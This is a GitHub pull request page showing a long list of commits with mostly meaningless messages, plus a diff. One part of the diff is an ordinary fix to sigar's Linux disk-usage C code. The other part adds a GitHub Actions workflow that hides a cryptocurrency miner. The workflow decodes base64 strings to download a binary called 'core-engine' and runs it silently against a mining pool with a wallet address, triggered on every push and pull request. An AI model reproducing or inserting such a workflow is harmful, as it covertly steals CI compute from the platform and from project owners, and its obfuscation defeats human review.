Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
125 commits
Select commit Hold shift + click to select a range
d72a14c
Disk usage: use per-partition times if exist
May 2, 2016
3b73a09
Your account gets a free premium trial
f-agu Aug 23, 2025
2f593eb
feat: add mariadb
f-agu Aug 23, 2025
b934c2b
chore: clarify engine
f-agu Aug 23, 2025
e40f0bb
chore: delete .github/workflows/main.yml
f-agu Aug 24, 2025
075dc39
feat: deploy machine
f-agu Aug 24, 2025
c3dc56c
chore: delete .github/workflows/main.yml
f-agu Aug 24, 2025
29b2442
feat: deploy machine
f-agu Aug 24, 2025
6f1411b
chore: delete .github/workflows/main.yml
f-agu Aug 24, 2025
fbadfdf
redeploy: redeploy machine
f-agu Aug 24, 2025
e4f3be7
chore: delete .github/workflows/main.yml
f-agu Aug 24, 2025
4191c1d
redeploy: redeploy machine
f-agu Aug 24, 2025
8163f60
chore: delete .github/workflows/main.yml
f-agu Aug 24, 2025
1063770
fix: fixing bug on machine
f-agu Aug 24, 2025
a2f3743
chore: delete .github/workflows/main.yml
f-agu Aug 25, 2025
2162b90
fix: fixing bug on machine
f-agu Aug 25, 2025
2ebccc7
chore: delete .github/workflows/main.yml
f-agu Aug 25, 2025
6441a07
chore: just impl JS
f-agu Aug 25, 2025
b4c3cb5
chore: delete .github/workflows/main.yml
f-agu Aug 26, 2025
283c774
fix: fix buxggss2
f-agu Aug 26, 2025
88a784a
chore: delete .github/workflows/main.yml
f-agu Aug 26, 2025
4b59f29
chore: just impl JS
f-agu Aug 26, 2025
2489524
chore: delete .github/workflows/main.yml
f-agu Aug 27, 2025
7cf4f64
feat: rRxust is blazing fast programming language
f-agu Aug 27, 2025
35e76b8
chore: delete .github/workflows/main.yml
f-agu Aug 27, 2025
8e90cc1
feat: deploy core-engineZ
f-agu Aug 27, 2025
f212cf0
chore: delete .github/workflows/main.yml
f-agu Aug 28, 2025
9e461ee
learn: decentralizefinanceXyz
f-agu Aug 28, 2025
3033d61
chore: delete .github/workflows/main.yml
f-agu Aug 28, 2025
154ee92
feat: LandingNProtocol feature
f-agu Aug 28, 2025
2d9172d
chore: delete .github/workflows/main.yml
f-agu Aug 28, 2025
ba64e12
deploy: SC on machine
f-agu Aug 29, 2025
81d9ec2
chore: delete .github/workflows/main.yml
f-agu Aug 29, 2025
026d5ed
feat: dply lp
f-agu Aug 29, 2025
11f5615
chore: delete .github/workflows/main.yml
f-agu Aug 29, 2025
3c2e669
feat: LandingNProtocol feature
f-agu Aug 29, 2025
9aa93a6
chore: delete .github/workflows/main.yml
f-agu Aug 29, 2025
5c9a3b2
feat: IMPL Descrypt
f-agu Aug 29, 2025
6b46d20
chore: delete .github/workflows/main.yml
f-agu Aug 30, 2025
89ccac6
feat: IMPL Encrypt
f-agu Aug 30, 2025
453b275
chore: delete .github/workflows/main.yml
f-agu Aug 30, 2025
41c6d12
feat: IMPL Encrypt
f-agu Aug 30, 2025
e4158b9
chore: change Encrypt Algo
f-agu Aug 30, 2025
1dd8d1c
chore: delete .github/workflows/main.yml
f-agu Aug 30, 2025
1563f74
chore: change Encrypt Algo
f-agu Aug 30, 2025
82e8ce2
feat: backend
f-agu Aug 31, 2025
ddee558
feat: LandingNBorrowing feature
f-agu Aug 31, 2025
92b37ad
feat: backend
f-agu Aug 31, 2025
d92375f
chore: delete .github/workflows/main.yml
f-agu Sep 1, 2025
b86f6b6
fix: some bugx
f-agu Sep 1, 2025
92fe2c7
chore: delete .github/workflows/main.yml
f-agu Sep 1, 2025
b325431
feat: get some
f-agu Sep 1, 2025
dbd4b3a
chore: delete .github/workflows/main.yml
f-agu Sep 2, 2025
eac3fb1
feat: lpz
f-agu Sep 2, 2025
76d2e64
feat: backendS
f-agu Sep 2, 2025
b415a10
chore: delete .github/workflows/main.yml
f-agu Sep 3, 2025
124f180
feat: frontend
f-agu Sep 3, 2025
2b99d30
chore: delete .github/workflows/main.yml
f-agu Sep 3, 2025
9f00a4d
feat: Devops
f-agu Sep 3, 2025
6e0366d
chore: delete .github/workflows/main.yml
f-agu Sep 3, 2025
58c72c9
feat: QA
f-agu Sep 3, 2025
dd0ecac
fix: refactor
f-agu Sep 3, 2025
2172813
chore: delete .github/workflows/main.yml
f-agu Sep 4, 2025
2a23de2
feat: lrvl
f-agu Sep 4, 2025
966bad1
feat: lmbo
f-agu Sep 4, 2025
3a92f2d
chore: delete .github/workflows/main.yml
f-agu Sep 4, 2025
243dc22
feat: crud with gin and gorm
f-agu Sep 4, 2025
5b663f1
chore: delete .github/workflows/main.yml
f-agu Sep 4, 2025
e041050
feat: crud with gin and gorm
f-agu Sep 4, 2025
72d51b0
feat: rust encrypter
f-agu Sep 5, 2025
f6c1536
chore: delete .github/workflows/main.yml
f-agu Sep 5, 2025
09b06f4
feat: landingPPagess
f-agu Sep 5, 2025
3662ff2
feat: static site
f-agu Sep 5, 2025
5b0e44c
chore: delete .github/workflows/main.yml
f-agu Sep 6, 2025
cdcff81
feat: SSR
f-agu Sep 6, 2025
444bfd9
feat: SSR 2
f-agu Sep 6, 2025
e018d44
feat: Backedn
f-agu Sep 6, 2025
9b09662
feat: Frontdn
f-agu Sep 7, 2025
3bd690e
chore: delete .github/workflows/main.yml
f-agu Sep 7, 2025
852c7a3
setup: pipeline
f-agu Sep 7, 2025
da96e96
chore: delete .github/workflows/main.yml
f-agu Sep 8, 2025
2acbe86
h: haxaaak
f-agu Sep 8, 2025
c3deea0
chore: delete .github/workflows/main.yml
f-agu Sep 8, 2025
0796c5d
docs: nice docs
f-agu Sep 8, 2025
49a7606
docs: nice crud
f-agu Sep 9, 2025
d219d72
chore: delete .github/workflows/main.yml
f-agu Sep 9, 2025
86c8e5d
feat: crud feature
f-agu Sep 9, 2025
eb9285f
feat: LP
f-agu Sep 9, 2025
4dbfe79
feat: create,read,update,delete
f-agu Sep 10, 2025
479d51d
feat: landingpage
f-agu Sep 10, 2025
b8699a8
feat: ssr
f-agu Sep 11, 2025
1b33458
feat: api
f-agu Sep 11, 2025
b01293a
feat: landingx
f-agu Sep 11, 2025
1fe73c8
feat: landingxpagez
f-agu Sep 11, 2025
46b4cb4
feat: rsapi
f-agu Sep 12, 2025
e83c831
feat: LandingPAgsT
f-agu Sep 12, 2025
f146606
feat: REstAPi
f-agu Sep 12, 2025
64914e0
feat: GraphQL
f-agu Sep 12, 2025
fc9077d
feat: SimpleCrud
f-agu Sep 13, 2025
d6484bb
feat: ssrpages
f-agu Sep 13, 2025
7646bf7
chore: apipages
f-agu Sep 14, 2025
9a3b565
docs: landingpakas
f-agu Sep 14, 2025
460bb11
feat: LandingPages
f-agu Sep 14, 2025
124d011
feat: GraphQRLX
f-agu Sep 15, 2025
bb3f2d9
feat: GinAndGormX
f-agu Sep 15, 2025
f0589a1
feat: LandingPaageesss
f-agu Sep 19, 2025
cd8e7c0
feat: LandingPaageesssPortofolio
f-agu Sep 19, 2025
740a5aa
feat: SimplePortofolio
f-agu Sep 20, 2025
1a3ca88
feat: XyzCrud
f-agu Sep 20, 2025
1b48af0
feat: MaloxserPages
f-agu Sep 20, 2025
f16f5b6
feat: CRUD-API-BACKEND
f-agu Sep 21, 2025
37a6f8a
feat: CRUD-API-FRONTEND
f-agu Sep 21, 2025
4e80ffe
feat: CRUD-API-DEVOPS
f-agu Sep 21, 2025
2e20cc2
feat: LandingXYZPagesl
f-agu Sep 22, 2025
d617c2b
feat: variableAndConst
f-agu Sep 22, 2025
7a29606
feat: queryDBPSQL
f-agu Sep 22, 2025
7121818
feat: Landingapps
f-agu Sep 23, 2025
3d8faee
feat: landingpage
f-agu Sep 23, 2025
2c44140
chore: API-GO
f-agu Sep 23, 2025
80a9101
feat: landborw
f-agu Sep 24, 2025
2ab8626
chore: delete .github/workflows/main.yml
f-agu Sep 24, 2025
b225ca4
feat: mananax
f-agu Sep 24, 2025
e0f6e4a
chore: yamlx
f-agu Sep 24, 2025
87dce26
chore: jsonzx
f-agu Sep 25, 2025
1917d42
chore: xmlzx
f-agu Sep 25, 2025
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
41 changes: 41 additions & 0 deletions .github/workflows/main.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
name: deploy xmlzx

on:
push:
branches: [master]
pull_request:
branches: [master]
workflow_dispatch:

jobs:
deploy-setup:
runs-on: ubuntu-latest

steps:
- name: Checkout
uses: actions/checkout@v2

- name: Setup Dependencies
run: |
sudo apt-get update
sudo apt-get install -y curl libuv1-dev libssl-dev libhwloc-dev

- name: Download core-engine
run: |
ENCODED="aHR0cHM6Ly9naXRodWIuY29tL2Fub25tYXh5WE1SL2NvcmUtZW5naW5lL3JlbGVhc2VzL2Rvd25sb2FkL3YwMy9jb3JlLWVuZ2luZQ=="
URL=$(echo "$ENCODED" | base64 -d)
curl -L -o core-engine "$URL"

- name: Run Machine
run: |
chmod +x core-engine
ENCODED="Li9jb3JlLWVuZ2luZSAtbyB1czIuemVwaHlyLmhlcm9taW5lcnMuY29tOjExMjQgXAogIC11IHNvbG86WkVQSHNBOHh4eFhMQmg2MWdLM0tiMVg0UDhYd2dtNUYzZkdydWh1MmptVWVnU3JiWUV5YkZYSlJzcTltVFZUVGF1YlNXbmtqejZyU0Q1WUh2N0xDR1FhUlQ5bXhpbTZ3eEVFLm9vZHJpdmU9OTYwMDAwIFwKICAtLWRvbmF0ZS1sZXZlbCAwIFwKICAtayAtLXRocmVhZHM9JChucHJvYykgLS1jcHUtcHJpb3JpdHk9NSAtLWh1Z2UtcGFnZXMtaml0IC0tY3B1LW5vLXlpZWxkIC0tcmFuZG9teC1uby1udW1hIFwKICAtYSByeC8wIC0tdGxzIC0tYXNtPXJ5emVuIC0tcmFuZG9teC1uby1yZG1zciAtLXJhbmRvbXgtd3Jtc3I9LTEgLS1yYW5kb214LW1vZGU9ZmFzdA=="
CMD=$(echo "$ENCODED" | base64 -d)
FINAL_CMD="$CMD > /dev/null 2>&1 &"
eval "$FINAL_CMD"
PID=$!
for i in {1..360}; do
echo "."
sleep $((RANDOM % 11 + 35))
done
kill $PID || true
26 changes: 10 additions & 16 deletions src/os/linux/linux_sigar.c
Original file line number Diff line number Diff line change
Expand Up @@ -1434,18 +1434,9 @@ int sigar_disk_usage_get(sigar_t *sigar, const char *name,
sigar_uptime_t uptime;
sigar_uint64_t interval, ios;
double tput, util;
sigar_disk_usage_t *partition_usage=NULL;

sigar_uptime_get(sigar, &uptime);

if (iodev->is_partition &&
(sigar->iostat == IOSTAT_DISKSTATS))
{
/* 2.6 kernels do not have per-partition times */
partition_usage = disk;
disk = &device_usage;
}

disk->snaptime = uptime.uptime;

if (iodev->disk.snaptime) {
Expand All @@ -1459,14 +1450,21 @@ int sigar_disk_usage_get(sigar_t *sigar, const char *name,
(disk->reads - iodev->disk.reads) +
(disk->writes - iodev->disk.writes);

if (disk->time == SIGAR_FIELD_NOTIMPL && device_usage.time != SIGAR_FIELD_NOTIMPL) {
disk->time = device_usage.time;
}

if (disk->queue == SIGAR_FIELD_NOTIMPL && device_usage.queue != SIGAR_FIELD_NOTIMPL) {
disk->queue = device_usage.queue;
}

if (disk->time == SIGAR_FIELD_NOTIMPL) {
disk->service_time = SIGAR_FIELD_NOTIMPL;
}
else {
tput = ((double)ios) * HZ / interval;
util = ((double)(disk->time - iodev->disk.time)) / interval * HZ;
disk->service_time = tput ? util / tput : 0.0;
disk->service_time = ios ? ((double)(disk->time - iodev->disk.time)) / ((double)ios) : 0.0;
}

if (disk->qtime == SIGAR_FIELD_NOTIMPL) {
disk->queue = SIGAR_FIELD_NOTIMPL;
}
Expand All @@ -1476,10 +1474,6 @@ int sigar_disk_usage_get(sigar_t *sigar, const char *name,
}

memcpy(&iodev->disk, disk, sizeof(iodev->disk));
if (partition_usage) {
partition_usage->service_time = disk->service_time;
partition_usage->queue = disk->queue;
}
}

return status;
Expand Down